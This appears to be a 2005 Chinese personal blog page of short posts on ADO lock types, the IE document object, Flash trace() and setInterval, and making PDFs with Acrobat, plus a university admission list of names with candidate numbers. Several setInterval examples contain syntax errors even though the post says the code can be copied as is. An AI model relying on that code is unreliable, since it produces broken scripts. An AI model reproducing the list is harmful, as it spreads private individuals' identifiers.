ADLOCKREADONLY(=1)
缺省锁定类型,记录集是只读的,不能修改记录

ADLOCKPESSIMISTIC(=2)
悲观锁定,当修改记录时,数据提供者将尝试锁定记录以确保成功地编辑记录。只要编辑一开始,则立即锁住记录。

ADLOCKOPTIMISTIC(=3)
乐观锁定 ,直到用Update方法提交更新记录时才锁定记录。 ADLOCKBATCHOPTIMISTIC(=4)
批量乐观锁定,允许修改多个记录,只有调用UpdateBatch方法后才锁定记录。

当不需要改动任何记录时,应该使用只读的记录集,这样提供者不用做任何检测。
对于一般的使用,乐观的锁定可能是最好的选择,因为记录只被锁定一小段时间,
数据在这段时间被更新。这减少了资源的使用。

posted @ 2005-07-14 16:11 一天一点爱恋 阅读(104) | 评论 (0)编辑 收藏
 

成员表

下面的表格列出了 document 对象引出的成员。请单击左侧的标签来选择你想要查看的成员类型。

 
属性
 
显示:
属性
集合
事件
方法
对象
样式
属性 描述
activeElement 获取当父 document 拥有焦点时获得焦点的对象。
alinkColor 设置或获取元素中所有激活链接的颜色。
bgColor 不赞成。设置或获取表明对象后面的背景颜色的值。
charset 设置或获取用于解码对象的字符集。
cookie 设置或获取 cookie 的字符串值。
defaultCharset 从当前的区域语言中获取默认字符集。
designMode 设置或获取表明文档是否可被编辑的值。
dir 设置或获取表明对象的阅读顺序的值。
doctypeMicrosoft® Internet Explorer 6 新增 获取与当前文档关联的文档类型声明。
documentElement 获取对文档根结点的引用。
domain 设置或获取文档的安全域名。
expando 设置或获取表明是否可对象内创建任意变量的值。
fgColor 设置或获取文档的前景(文本)颜色。
fileCreatedDate 获取文件创建的日期。
fileModifiedDate 获取文件上次修改的日期。
fileSize 获取文件大小。
implementationMicrosoft® Internet Explorer 6 新增 获取当前文档implementation 对象。
lastModified 获取页面上次修改的日期,若页面提供的话。
linkColor 设置或获取对象文档链接的颜色。
parentWindow 获取容器对象所在窗口的引用。
protocol 设置或获取 URL 的协议部分。
readyState 获取表明对象当前状态的值。
referrer 获取将用户引入当前页面的位置 URL。
uniqueID 获取为对象自动生成的唯一标识符。
URL 设置或获取当前文档的 URL。
URLUnencoded 获取文档的 URL,去除所有字符编码。
vlinkColor 设置或获取用户已访问过的链接颜色。
XMLDocument 获取对由对象引出的的 XML 文档对象模型(DOM)的引用。
XSLDocument 获取对 XSL 文档的顶层结点的引用。
集合 描述
all 返回对象所包含的元素集合的引用。
anchors 获取所有带有 name 和/或 id 属性的 a 对象的集合。此集合中的对象以 HTML 源顺序排列。
applets 获取文档中所有 applet 对象的集合。
childNodes 获取作为指定对象直接后代的 HTML 元素TextNode 对象的集合。
embeds 获取文档中所有 embed 对象的集合。
forms 获取以源顺序排列的文档中所有 form 对象的集合。
frames 获取给定文档定义或与给定窗口关联的文档定义的所有 window 对象的集合。
images 获取以源顺序排列的文档中所有 img 对象的集合。
links 获取文档中所有指定了 HREF 属性的 a 对象和所有 area 对象的集合。
namespaces 获取 namespace 对象的集合。
scripts 获取文档中所有 script 对象的集合。
styleSheets 获取代表与文档中每个 linkstyle 对象的实例相对应的样式表的 styleSheet 对象的集合。
事件 描述
onactivate 对象设置为活动元素时触发。
onbeforeactivateMicrosoft® Internet Explorer 6 新增 对象要被设置为当前元素前立即触发。
onbeforecut 当选中区从文档中删除之前在源对象触发。
onbeforedeactivate activeElement 从当前对象变为父文档其它对象之前立即触发。
onbeforeeditfocus 在包含于可编辑元素内的对象进入用户界面激活状态前或可编辑容器变成控件选中区前触发。
onbeforepaste 在选中区从系统剪贴板粘贴到文档前在目标对象上触发。
onclick 在用户用鼠标左键单击对象时触发。
oncontextmenu 在用户使用鼠标右键单击客户区打开上下文菜单时触发。
oncontrolselect 当用户将要对该对象制作一个控件选中区时触发。
oncut 对象或选中区从文档中删除并添加到系统剪贴板上时在源元素上触发。
ondblclick 当用户双击对象时触发。
ondeactivate activeElement 从当前对象变为父文档其它对象时触发。
ondrag 当进行拖曳操作时在源对象上持续触发。
ondragend 当用户在拖曳操作结束后释放鼠标时在源对象上触发。
ondragenter 当用户拖曳对象到一个合法拖曳目标时在目标元素上触发。
ondragleave 当用户在拖曳操作过程中将鼠标移出合法拖曳目标时在目标对象上触发。
ondragover 当用户拖曳对象划过合法拖曳目标时持续在目标元素上触发。
ondragstart 当用户开始拖曳文本选中区或选中对象时在源对象上触发。
ondrop 当鼠标按钮在拖曳操作过程中释放时在目标对象上触发。
onfocusinMicrosoft® Internet Explorer 6 新增 当元素将要被设置为焦点之前触发。
onfocusoutMicrosoft® Internet Explorer 6 新增 在移动焦点到其它元素之后立即触发于当前拥有焦点的元素上触发。
onhelp 当用户在浏览器为当前窗口时按 F1 键时触发。
onkeydown 当用户按下键盘按键时触发。
onkeypress 当用户按下字面键时触发。
onkeyup 当用户释放键盘按键时触发。
onmousedown 当用户用任何鼠标按钮单击对象时触发。
onmousemove 当用户将鼠标划过对象时触发。
onmouseout 当用户将鼠标指针移出对象边界时触发。
onmouseover 当用户将鼠标指针移动到对象内时触发。
onmouseup 当用户在鼠标位于对象之上时释放鼠标按钮时触发。
onmousewheelMicrosoft® Internet Explorer 6 新增 当鼠标滚轮按钮旋转时触发。
onmove 对象移动时触发。
onmoveend 对象停止移动时触发。
onmovestart 对象开始移动时触发。
onpaste 当用户粘贴数据以便从系统剪贴板向文档传送数据时在目标对象上触发。
onpropertychange 当在对象上发生对象上发生属性更改时触发。
onreadystatechange 对象状态变更时触发。
onresizeend 当用户更改完控件选中区中对象的尺寸时触发。
onresizestart 当用户开始更改控件选中区中对象的尺寸时触发。
onselectionchange 当文档的选中状态改变时触发。
onstop 当用户单击停止按钮或离开 Web 页面时触发。
方法 描述
attachEvent 将指定函数绑定到事件,以便每当该事件在对象上触发时都调用该函数。
clear 目前尚未支持。
close 关闭输出流并强制将数据发送到显示。
createAttributeMicrosoft® Internet Explorer 6 新增 以指定名称创建 attribute 对象。
createCommentMicrosoft® Internet Explorer 6 新增 以指定数据创建 comment 对象。
createDocumentFragment 创建一个新文档。
createElement 为指定标签创建一个元素的实例。
createEventObject 生成当使用 fireEvent 方法时用于传递事件相关信息的 event 对象。
createStyleSheet 为文档创建样式表。
createTextNode 从指定值中创建文本字符串。
detachEvent 从事件中取消指定函数的绑定,这样当事件触发时函数就不会收到通知了。
elementFromPoint 返回指定 x 和 y 坐标的元素。
execCommand 在当前文档、当前选中区或给定范围上执行命令。
focus 使得元素得到焦点并执行由 onfocus 事件指定的代码。
getElementById 获取对 ID 标签属性为指定值的第一个对象的引用。
getElementsByName 根据 NAME 标签属性的值获取对象的集合。
getElementsByTagName 获取基于指定元素名称的对象集合。
hasFocus 获取表明对象目前是否拥有焦点的值。
mergeAttributes 复制所有读/写标签属性到指定元素。
open 此方法以两种方式工作。该方法打开一个文档用于收集 writewriteln 方法的输出。在这种情况下,只使用前两个参数 url 和 name。若指定了附加参数,此方法将打开一个窗口,这与 window 对象的 window.open 方法相同。
queryCommandEnabled 返回表明指定命令是否可于给定文档当前状态下使用 execCommand 命令成功执行的 Boolean 值。
queryCommandIndeterm 返回表明指定命令是否处于模糊状态的 Boolean 值。
queryCommandState 返回表明命令当前状态的 Boolean 值。
queryCommandSupported 返回表明当前命令是否在当前区域上支持的 Boolean 值。
queryCommandValue 返回文档、范围或当前选中区对于给定命令的当前值。
recalc 重新计算当前文档中的全部动态属性。
releaseCapture 释放当前文档中对象的鼠标捕捉。
setActive 设置对象为当前对象而不将对象置为焦点。
write 在指定窗口的文档中写入一个或多个 HTML 表达式。
writeln 在指定窗口的文档中写入一个或多个 HTML 表达式,后面追加一个换行符。
元素 对象 描述
BODY body 指定文档主体的开始和结束。
implementationMicrosoft® Internet Explorer 6 新增 包含了关于对象支持的模块信息。
location 包含关于当前 URL 的信息。
selection 代表了当前激活选中区,即高亮文本块,和/或文当中用户可执行某些操作的其它元素。
TITLE title 包含文档的标题。
样式属性 描述
compatModeMicrosoft® Internet Explorer 6 新增 设置或获取表明此对象是否应用标准兼容模式的值。

注释

此对象在 Microsoft® Internet Explorer 3.0 的脚本中可用。

使用 document 对象可以对 HTML 文档进行检查、修改或添加内容,并处理该文档内部的事件。在 Web 页面上,document 对象可通过 window 对象的 document 属性引用,或者直接引用。

document 对象在主文档的任意时间均可用,但是对于目前正在轻便动态 HTML(DHTML) 行为中使用的 HTML 组件(HTC)来说却不可用。这是因为轻便的行为仅当在 HTC 文件中不使用 document 对象时才可被定义。结果将使得轻便的行为比常规行为运行更加快速和有效率。但是,轻便的 DHTML 行为可以与常规的 DHTML 行为一样的方法访问主文档的 document 对象。

ondocumentready 事件将通知 DHTML 行为包含该行为的主 Web 页面的 document 对象可用。只要 ondocumentready 被触发,行为就可以开始处理主 document 属性。

行为中的脚本可以在 HTC 或主文档中引用 document 对象。如果要在 HTC 文件中编码脚本,应使用 element.document 来引用主文档的 document 对象。

示例

下面的例子使用了 document 对象检查文档标题并在消息框中显示该标题(如果非)。

if (document.title!="")
    alert("标题为 " + document.title)

下面的例子演示了在浏览器的状态栏上显示鼠标当前位置的事件句柄函数,所得位置相对于文档的左上角。

显示示例

标准信息

没有应用于此对象的公共标准。

应用到

posted @ 2005-07-14 15:39 一天一点爱恋 阅读(109) | 评论 (0)编辑 收藏
 

可用性

Flash Player 4。

用法

trace(expression)

参数

expression 要计算的表达式。在 Flash 创作工具中使用“测试影片”命令打开 SWF 文件时,expression 参数的值显示在“输出”面板中。

返回

无。

说明

语句;在测试模式下,计算表达式并在“输出”面板中显示结果。

在测试影片时,使用此动作可在“输出”面板中记录编程注释或显示消息。使用 expression 参数可以检查是否存在某种条件,或在“输出”面板中显示值。trace() 动作类似于 JavaScript 中的 alert 函数。

可以使用“发布设置”中的“Omit Trace Actions”(省略 Trace 动作)命令将 trace() 动作从导出的 SWF 文件中删除。

示例

此示例来自一个游戏,在该游戏中一个名为 my_mc 的可拖动影片剪辑实例必须在特定目标上释放。我们使用一个条件语句来计算 _droptarget 属性并根据 my_mc 的释放位置执行不同的动作。在脚本的末尾使用 trace() 动作来计算 my_mc 影片剪辑的位置,并在“输出”面板中显示结果。如果 my_mc 的行为与预期的不一样(例如,如果它对齐的目标不正确),则由 trace() 动作发送到“输出”面板的值将有助于您确定脚本中的问题。

on (press) {
  my_mc.startDrag();
}

on (release) {
  if(eval(_droptarget) != target) {
      my_mc._x = my_mc_xValue;
      my_mc._y = my_mc_yValue;
  } else {
    var my_mc_xValue = my_mc._x;
    var my_mc_yValue = my_mc._y;
    target = "_root.pasture";
  }
  trace("my_mc_xValue = " + my_mc_xValue);
  trace("my_mc_xValue = " + my_mc_xValue);
  stopDrag();
}
posted @ 2005-07-14 15:25 一天一点爱恋 阅读(123) | 评论 (0)编辑 收藏
 
setInterval全面的介绍

setInterval全面的介绍
setInterval动作的作用是在播放动画的时,每隔一定时间就调用函数,方法或对象。可以使用本动作更新来自数据库的变量或更新时间显示。setInterval动作的语法格式如下:
setInterval(function,interval[,arg1,arg2,......argn])
setInterval(object,methodName,interval[,arg1,arg2,.....argn])
第一种格式是标准动作面板中setInterval函数的默认语法,第二种格式是在专家模式动作中使用的方法。
其中的参数function是一个函数名或者一个对匿名函数的引用。object参数指定从Object对象派生的对象。methodName制定object参数中要调用的方法。interval制定对function或methodName调用两次之间的时间,单位是毫秒。后面的arg1等是可选的参数,用于制定传递给function或是methodName的参数。
setInterval它设置的时间间隔小于动画帧速(如每秒10帧,相当于100毫秒),则按照尽可能接近interval的时间间隔调用函数。而且必须使用updateAfterEvent动作来确保以足够的频率刷新屏幕。如果interval大于动画帧速,则只用在每次播放头进入某一帧是才调用,以减小每次刷新屏幕的影响。
下面的例子每隔1秒调用一次匿名函数。
setInterval(function(){trace("每隔1秒钟我就会显示一次")},1000);//这里的function(){}是没有函数名
的函数。成为匿名函数,后面的1000是时间间隔,单位是毫秒。
下面的例子为我们展示如何带参数运行。
function show1(){
trace("每隔1秒我就会显示一次");
}
function show2(str){
trace(str);
}
setInterval(show1,1000);
setInterval(show2,2000,"每隔2秒我就会显示一次");
上面已经将函数的setInterval方法介绍了。
下面我们将介绍对象的setInterval方法。
首先,写一个setInterval在动作中调用对象的方法的例子,该例子不需要传递参数。
myobj=new Object();//创建一个新的对象
myobj.interval=function){
trace("每隔1秒我就会显示一次");
}//创建对象的方法。
setInterval(myobj,"interval",1000);//设定时间间隔调用对象的方法。
接下来介绍如何传递参数。其实道理和函数的传递参数是一样的。
myobj=new Object();
myobj.interval-function(str){
trace(str);
}
setInterval(myobj,"interval",2000," 每隔2秒我就会显示一次");
注意。要调用为对象定义的方法时,必须在专家模式中使用第二种语法格式。
这样子的话呢,我们来作一个动态显示时间的画面。可以用下面的代码实现。
setInterval(show,1000);
function show(){
time=new Date();
hour=time.getHours();
minu=time.getMinutes();
sec=time.get.Seconds();
datetime=hour+":"+minu+":"+sec;
}//这里的datetime是一个动态文本框的变量名字。
这样子呢,setInterval这个方法大家应该学的很好了。现在呢,我们学习clearInterval.
clearInterval动作的作用是清楚对setInterval函数的调用,它的语法格式如下clearInterval(intervalid);intervalid是调用setInterval函数后返回的对象。
下面举一个简单的例子。
function show(){
trace("每隔一秒我就会显示一次");
}
var sh;
sh=setInterval(show,1000);
clearInterval(sh);
好的至此,学习结束。希望对大家有所帮助。
以上代码可以直接复制。
posted @ 2005-07-14 15:23 一天一点爱恋 阅读(101) | 评论 (0)编辑 收藏
 
1。完成日志的添加
2。
posted @ 2005-07-13 09:50 一天一点爱恋 阅读(82) | 评论 (0)编辑 收藏
 
2005年厦门大学硕士 计算机科学系 研究生拟录取名单
考生号
姓名
专业名称
103845211220006 连凤娜 计算机软件与理论
103845211220016 庄云鹏 计算机软件与理论
103845211230021 郑勇明 计算机软件与理论
103845211220030 郑垚 计算机软件与理论
103845211220035 蔡剑 计算机软件与理论
103845211230050 陈晓文 计算机软件与理论
103845103840303 郑仁广 计算机软件与理论
103845103840304 吴国才 计算机软件与理论
103845103840309 许振明 计算机软件与理论
103845211220060 高君杰 计算机软件与理论
103845211220065 刘伟 计算机软件与理论
103845211220074 潘夏福 计算机软件与理论
103845211230102 肖欣延 计算机软件与理论
103845211220082 卓义宝 计算机软件与理论
103845211220091 丁倩蕾 计算机软件与理论
103845211220096 吴凡 计算机软件与理论
100135350310008 王良霖 计算机软件与理论
103845211210001 李玲 计算机系统结构
103845211210003 余强力 计算机系统结构
103845211210004 刘峰 计算机系统结构
103845211210007 董林茂 计算机系统结构
103845211210016 周功建 计算机系统结构
103845103840300 陈琼 计算机系统结构
103845103840301 杨剑萍 计算机系统结构
103845103840302 黄荔丽 计算机系统结构
103845211210035 唐琦 计算机系统结构
103845211210036 柯远青 计算机系统结构
103845211210041 傅博 计算机系统结构
103845211210042 林炼 计算机系统结构
103845211210049 曾坤 计算机系统结构
103845211210053 余兵 计算机系统结构
103845211210061 刘波 计算机系统结构
103845211210068 楚宇燕 计算机系统结构
103845211210074 王雷 计算机系统结构
103845211210078 常可沛 计算机系统结构
103845211230017 崔文迪 计算机应用技术
103845211230024 孙岩 计算机应用技术
103845211230029 汪洋 计算机应用技术
103845211230038 王明芬 计算机应用技术
103845211230042 黄磊 计算机应用技术
103845211230043 林萌 计算机应用技术
103845211230045 魏昇 计算机应用技术
103845103840310 贾剑峰 计算机应用技术
103845211230055 李凡 计算机应用技术
103845103840311 黄宣达 计算机应用技术
103845103840312 魏丽军 计算机应用技术
103845103840313 蔡佳佳 计算机应用技术
103845211230067 林江云 计算机应用技术
103845211230068 卢敏 计算机应用技术
103845211230072 陈禹 计算机应用技术
103845211230073 郑彬彬 计算机应用技术
103845211230082 孙为新 计算机应用技术
103845211230084 陈永建 计算机应用技术
103845211230086 陈青山 计算机应用技术
103845211230089 庄永文 计算机应用技术
103845211230090 赖兴邦 计算机应用技术
103845211230094 倪恩志 计算机应用技术
103845211230096 林哲辉 计算机应用技术
103845211230098 王小辉 计算机应用技术
103845211230099 吴绿芳 计算机应用技术
103845211230119 吴众山 计算机应用技术
103845211230126 郑文侃 计算机应用技术
103845211230127 郑锋 计算机应用技术
103845211230130 张彩红 计算机应用技术
103845211230135 张艳林 计算机应用技术
103845211230136 李政 计算机应用技术
103845211230139 郭锋 计算机应用技术
103845211230145 刘亚东 计算机应用技术
103845211230149 刘瑞林 计算机应用技术
103845211230152 李长军 计算机应用技术
103845211230161 黄关维 计算机应用技术
800015150000428 李剑锋 计算机应用技术
103355921040686 吴春龙 计算机应用技术
100135350410012 夏金存 计算机应用技术
100035024006999 苏松志 计算机应用技术
posted @ 2005-07-09 14:48 一天一点爱恋 阅读(582) | 评论 (0)编辑 收藏
 
 PDF文档是由Adobe公司开发的一种电子文档格式,它能够完整地保留源文档中的所有字体、格式、颜色和图形,并且具有跨平台、可以加密等众多优秀特性。现在许多报纸、杂志、小说都采用了PDF文档作为其专用保存的电子书籍格式,它已经成为全世界电子文档公开的事实标准。如果你也想制作PDF文档,那么你可以试试PdfFactory这个软件,使用它我们可以像打印普通文档一样来把文件“打印”成PDF文档,非常方便。它是一款共享软件,可在任何版本的Windows系统下运行。
下载安装好PdfFactory后,我们在打印机控制面板中就可以找到一台由PdfFactory虚拟出来的打印机。

  下面我们以Word文档为例,讲解一下如何使用常用程序把普通文档“打印”成PDF文档。

  首先启动Word程序并打开或新建一篇文档,然后单击“文件”菜单中的“打印”命令进入打印设置窗口(如图1)。这里我们在“打印机名称”下拉菜单中选择由PdfFactory虚拟出来的打印机。

图1选择由PdfFactory虚拟出来的打印机

  选择完打印机后单击窗口中的“确定”按钮进入PDF文档转换设置窗口。

  Preview(预览)标签页

  在预览标签页内我们可以对即将要“打印”出的PDF文档进行预览,单击鼠标可以对文档进行缩放查看。

  Fonts(字体)标签页

  在字体标签页内我们可以确定是否把当前Word文档中使用到的所有字体都内嵌到PDF文档中去,或者只内嵌指定的字体(如图2)。

图2选择内嵌字体

  DocInfo文档信息标签页

  在文档信息标签页内我们可以设置PDF文档的一些基本信息,如标题(Title)、主题(Subject)、作者(Author)、关键字(Keywords)等等。

  在我们设置完所需选项的参数后,就可以单击窗口中的“保存”按钮把当前的Word文档“打印”成PDF文档了!然后我们就可以用Adobe Acrobat Reader打开并进行阅读我们制作好的PDF文档了。同样在其他的常用程序中我们也可以把所需的文档或图片“打印”成PDF文档,比如Photoshop、IE、画图、记事本等等都可以,有兴趣的朋友可自行一试。

  在前面,我们介绍了EXE、PDF、LIT这三种格式电子书的制作方式,其中的PDF制作软件PDTDriver小巧,但是功能远不及AdobeAcrobat强大。因此,下面就重点讨论如何用AdobeAcrobat软件来制作一本PDF格式的电子图书,让令狐大侠也在PDF世界中“笑傲”一次吧。
  制作PDF格式的电子图书当然少不了AdobeAcrobat,它与AdobeAcrobatReader并不完全相同,虽然是同一家公司的产品,但AdobeAcrobatReader仅仅是一个用于浏览PDF文档的阅读工具;而AdobeAcrobat软件则可以用来创建和改善PDF文件,是一款商业软件,集成了Postscript和PDF相关工具的软件开发包,其中有制作PDF文件所需要的PDFWriter、AcrobatDistiller、AcrobatExchange、AcrobatCatalog、AcrobatCapturePlug-ins、AcrobatScan、AdobePostscriptPrinterDriver等软件。我们不但可以像使用AdobeAcrobatReader一样来浏览、导航、打印PDF文件,而且还能使用它来创建自己的PDF文件,如果你使用了完全版本,那么可以将任何格式的文件包括从纸上扫描来的文件转换为PDF格式,并且提高文件的导航、保密和注解功能,你还可以使用Acrobat来创建PDF表单,可以将剪切下来的文本和表单粘贴到PDF文件中,也可以将PDF文件中的文本和表单剪切粘贴至其它文件中。
  最新版本:5.0文件大小:95627KB软件授权:共享软件使用平台:Windows9x/Me下载地址:http//www.adobe.com一、软件的安装AdobeAcrobat的最新版本是5.0,可惜只有英文版本,如果加上亚洲语言支持包,差不多超过100MB,因此你是从http//www.adobe.com下载共享版本的话,可要稍微耐心一些哟!
  软件的安装过程很简单,基本上一路“Next”就可以了,不过在这里要提醒的是最好使用“Custom”方式安装,否则是不会同时安装AcrobatPDFWriter程序的。还有一点,在安装亚洲语言支持包时一定要将它安装到“AdobeAcrobat”自己的目录下,不能指向下面的Reader子目录,否则阅读中文PDF文档时只能显示空码。软件安装结束后,安装程序会要求重启动系统。
  二、跟我学做PDF文档这里要说明的是,AdobeAcrobat并不能创建一个空白的PDF文档,我们必须从其它软件导入电子文档。最简单的一种方法是将文件直接拖放到AdobeAcrobat窗口中就行了,或者使用Word97/2000中的CreateAdobePDF命令或者在打印命令中选择打印到PDF,下面就跟我学吧:
  1.拖放方式这一种方式最为简单,我们只需同时打开AdobeAcrobat和资源管理器,找到《笑傲江湖》的Word文档图标,然后直接拖放到AdobeAcrobat窗口中,程序即会自动将它转换为PDF文档,2.通过“打印”命令创建PDF文档PDFWriter可以将文档快速打印成PDF格式,不过如果你的文档比较大或者其中含有声音、图像、动画等丰富的多媒体信息时,建议还是使用AcrobatDistiller较为合适一些。
  首先在Word97/2000中打开要创建成PDF文档的文件(任何格式均可,只要Word可以打开),然后从“文件”菜单中选择“打印”命令,请不要选择工具栏的打印图标,因为这种方式无法改变打印机的名称,除非你已经在“打印机设置”中将AcrobatPDFWriter设置为缺省打印机。
  待出现“打印”对话框后,从“打印机名称”下拉列表框中选择“AcrobatPDFWriter”,输入页码范围,然后单击“打印”或“确定”按钮即可(如图1所示),接着会出现一个如图2所示的“另存为”对话框,我们可以在这里为PDF文件输入一个文件名和保存路径,从图2中可以看到其下有“EditDocumentinfo”(编辑文档信息)和“ViewPDFFile”两个选项,前者可以打开如图3所示的“AcrobatPDFWriterDocumentInformation”对话框,你可以在这里输入标题、作者、关键词等信息,后者可以自动在Acrobat中打开新的PDF文件。
  一切设置完成后,点击“保存”按钮,AcrobatPDFWriter就会在后台对文档进行转换,转换的时间视文档大小和内容而定,如果只是一些文本信息,那么转换的速度应该是很快的。现在,你就可以运行AdobeAcrobatReader或AdobeAcrobat程序,打开刚才创建的PDF文件,如图4所示,令狐大侠的形象就在你的眼前了。
  3.使用CreateAdobePDF命令创建PDF文档从“文件→CreateAdobePDF”菜单下可以看到一共有Print和Preferences两个命令,如图5所示,首先最好选择“CreateAdobePDF→Preferences”命令,打开“AdobePDFMakerPreferences”对话框,对有关的选项进行一些设置,因为在转换过程中PDFMaker将会把Word文件中的一些信息和结构对应转换为PDF文件的信息和结构,如Word中的头部将被转换为PDF文件的书签,Word中的URL将被转换为PDF的网页链接,Word中的交叉参照将被转换为PDF的内部链接,Word中的文件属性将被转换为PDF的文件信息等等。
  接下来,只要使用“CreateAdobePDF→Print”命令就可以将文档转换为PDF格式。
  AcrobatDistiller是一个将Postscript文件转换为PDF文件的PDF文件生成器,用AcrobatDistiller制作的PDF文档可以保留源文件中全部内容,包括其中的格式和图形,而且与PDFWriter相比,它可以更精确地控制转换过程。
  不过,为了使Distiller能够创建PDF文档,系统中必须安装一个PostScript打印机驱动程序和一个DistillerPostScript打印机说明(即PPD文件),Acrobat缺省安装包括AdobePS4.2.4(ForWindows9x)、AdobePS5.0/5.1(ForWindowsNT)、AdobePS8.501(ForMacOS)驱动程序。
  使用Distiller创建PDF文档有3种方式进行:
  ⑴直接拖放文件只要找到相应文件,然后将文件图标直接拖放到Distiller图标或Acrobat窗口的标题栏上。
  ⑵将Acrobat中打开的文件另存在AdobeAcrobat程序中,从“File”菜单中选择“Open”命令,在“打开”对话框中的“文件类型”下拉列表框中选择“AllFiles(.)”,然后找到欲转换为PDF的文件,单击“打开”按钮,最后将它另存为一个新的PDF格式的文件就可以了。
  ⑶通过“打印”命令创建其实这一种方式与前面谈到的使用PDFWriter创建PDF文档的方法差不多,只不过这次是从“打印机名称”下拉列表框中选择“AcrobatDistiller”而已(如图6所示),其它的没有什么区别。
  由于AdobeAcrobat的图形编辑、处理能力等并不是很出色,笔者建议最好先使用其它软件完成文字输入、图片的处理、整体排版等工作,这样可以省去很多功夫。
  三、对PDF文档进行美化如果你只是想自己学会制作PDF格式的电子图书,那么上面提到的4种方法都可以达到目的。不过,为了让这本自主版权《笑傲江湖》电子图书阅读起来更为方便(同时也是为了提升它的档次),那么请继续随我来吧:
  1.设置合适的页面大小打开《笑傲江湖》电子文档,选择单页布局方式,然后切换到第一页,双击工具栏上的裁剪工具,或者从“Document”菜单中执行“CropPages”命令,将会看到的“CropPages”对话框,在这里你可以调整文档中一页或所有页面的页边距。
  在Top、Left、Right、Bottom列表框(图7)中可以对上、左、右、下页边距进行精确的调整,选择“All”可以将页边距应用到整个文档,选择“Fromto”则是将页边距应用到指定页面。在“Crop”下拉列表框中还可以选择所有页面、偶数和奇数页面、仅奇数页面、仅偶数页面等选项。裁剪工具并不减小文件的大小,不过这一操作无法撤销,因此在执行前请仔细检查。
  2.插入遗漏章节有时候,你可能在制作完成后,才忽然发觉漏掉其中的某一章节,这可怎么办,总不成全部重来吧?当然不需要,AdobeAcrobat可以很轻松完成这一切。
  首先,打开已完成部分的《笑傲江湖》电子文档,然后从“Document”菜单中执行“InsertPages”命令,选择准备添加的源文档,选择好后会弹出一个对话框询问源文档的插入位置(图8),可以从“Location”下拉列表框中选择Before、After,确定文档的插入位置可以规定源文档是插在第一页、最后一页、输入的页码之前或之后等,一切选择好后,点击“确定”按钮就可以完成添加工作,假如还有其它章节需要插入,可以按照刚才的方法继续添加。当然,更为简单的方法是从资源管理器直接将欲合并的PDF文档拖放至已打开的主文档区,以后的步骤完全一致。
  3.设置文本属性使用“TouchUpTexttool”工具选择所需的文字,然后选择快捷命令“Properties”,在如图9所示的对话框中设置文本的字体、大小、颜色等属性,不过这里要提醒的是尽量使用系统默认的宋体,以便减少字体尺寸,如果你无法确认使用的字体在对方的系统中是否安装,可以勾选“Embed”嵌入,不过这样做会使PDF文档变得非常大,一般情况下不推荐如此做。
  4.创建书签书签提供了直观目录,通常代表文档中的章节和其它组织项目,这样会使读者的阅读轻松不少。
  在导航栏中点击“Bookmarks”图标,再点击“Bookmars”右下角的小箭头,选择“NewsBookmark”命令,输入书签名字如“第一章《灭门》”,按回车键确定,然后右击该书签,选择“Properties”命令,在如图10所示的“BookmarkProperties”对话框中进行有关项目的设置,如在“Action”的“Type”下拉列表框中选择“GotoView”,然后在对话框外切换到所需要的页面,并调整好显示比例,最后点击“SetAction”按钮完成。其它如第二章《聆秘》、第三章《救难》等书签可按照同样的方法制作,最后制作好的标签如图11所示。
  5.制作MouseOver按钮如果你的AdobeAcrobat是完全版本的话,那么就可以利用Form工具来控制页面的触发事件,例如在页面打开时播放一段你喜欢的MP3音乐,或者通过具有MouseOver效果链接的图标来打开一个特定的文件、电影片段等,这样在阅读时除了视觉的享受之外还可以听到美妙的音乐呢!
  下面就以制作带有OnMouse效果的跳转页面按钮为例介绍:
  单击左侧工具栏中的“FormTool”工具,这时光标将变成一个十字形的图标,利用它在页面上拖出一个区域,你马上就可以看到如图12所示的“FieldProperties”对话框:
  Name:为这个表单起一个唯一的名字Type:这是一个下拉列表框,有Button、CheckBox、ComboBox、ListBox、RadioButton、Signature、Text等七种类型,这里当然选择“Button(按钮)”啦。
  ShortDescription:在这里可以输入一些简单的说明文字,方便以后的查找。
  发下是六个标签页,点击后可以进行不同的设置。
  Appearance:在“Border”区,我们可以定义按钮边框、背景颜色、宽度和边框的类型;在“Text”区,可以定义文字的颜色、字体、大小;在“CommonProperties”区可以定义注释的类型和边框可见方式。
  Options:在“Aligment”下拉列表框中,你可以选择触发事件时是使用鼠标的左键、中键、右键,系统缺省是使用左键。
  Actions:定义详细的触发事件,在左边的“Whenthishappens”框中,建议选择“MouseUp”,右边则是定义当事件触发时,发生什么事件,点击“Add”按钮可以在图中看到一共有13种选项可供选择,如果你想产生切换页面的效果,可以选择JavaScript项。
  Format、Validate、Calculate等标签页并无多大实用意义,可以取默认值,这里就不多介绍了。
  完成所有设置后,点击“确定”按钮,一个“MouseOver”样式的按钮就制作完成,如果你愿意,还可以在“Action”中加入声音、动画等。
  6.给PDF文档加印章你也可像在一个纸张文档上使用橡皮印章一样,用Acrobat来给你的文档盖上一个印章。下面你将给文章的封面加盖一个印章。
  (1)在页面框上移动指针直到它变为一个I字光标,然后双击突出的当前页码。
  (2)在批注工具上按住鼠标按钮以显示一套隐藏工具,拖动并选取印章工具。(如图13)
  (3)单击页面的左上角。默认时,出现“批准”印章。
  你可从Acrobat印章库中选择另一个不同的印章。
  (4)选择“编辑”→“属性”。
  (5)从“分类”菜单中选取“标准”,从对话框左面窗口的列表中选择“草稿”,并单击“确定”。
  (6)选择手形工具,在文档窗口内单击以取消选取的印章。
  除了从Acrobat印章库使用印章外,你可创建你自己定义的印章,并以批注方式来使用它们。
  (7)选择“文件”→“保存”以保存该文件。
  7.文档加密设置如果你不希望别人对你制作的PDF电子书做修改或者其他一些损害你利益的事情,建议你对文档进行加密设置。加密设置具体如下:
  单击Acrobat菜单“File”→“DocumentSecurity”选项,在弹出的对话框中的“SecurityOptions”下拉菜单中选择“AcrobatStandardSecurity”选项,弹出对话框(图14):
  如果希望用户需要密码才能阅读,请选择“PasswordRequiredtoOpenDocument”(并输入用户打开文档时需要的密码)。
  建议选择“PasswordRequiredtoChangePermissionsandPasswords”选项,即只有制作者才可以修改文档信息及文档安全性密码。
  在“EncryptionLevel”(加密级别)中可以选择使用的加密级别:包括40-bit和128-bit两种方式,其中128-bit只能针对5.0版本,所以建议选择40-bit即可,以确保文档的向下兼容。
  我们这里还选择了“NoChangingtheDocument”,即不允许用户修改文档中的任何部分。如果需要禁止用户打印和复制文档中的文字和图片还可以勾选“NoPrinting”、“NoContentCopyingorExtraction,DisableAccessibility”选项。如果不允许用户加入或者改变注释、表格域可以勾选“NoAddingorChangingCommentsandFormFields”选项。
  设置完所有设置以后,点击OK关掉对话框即可。
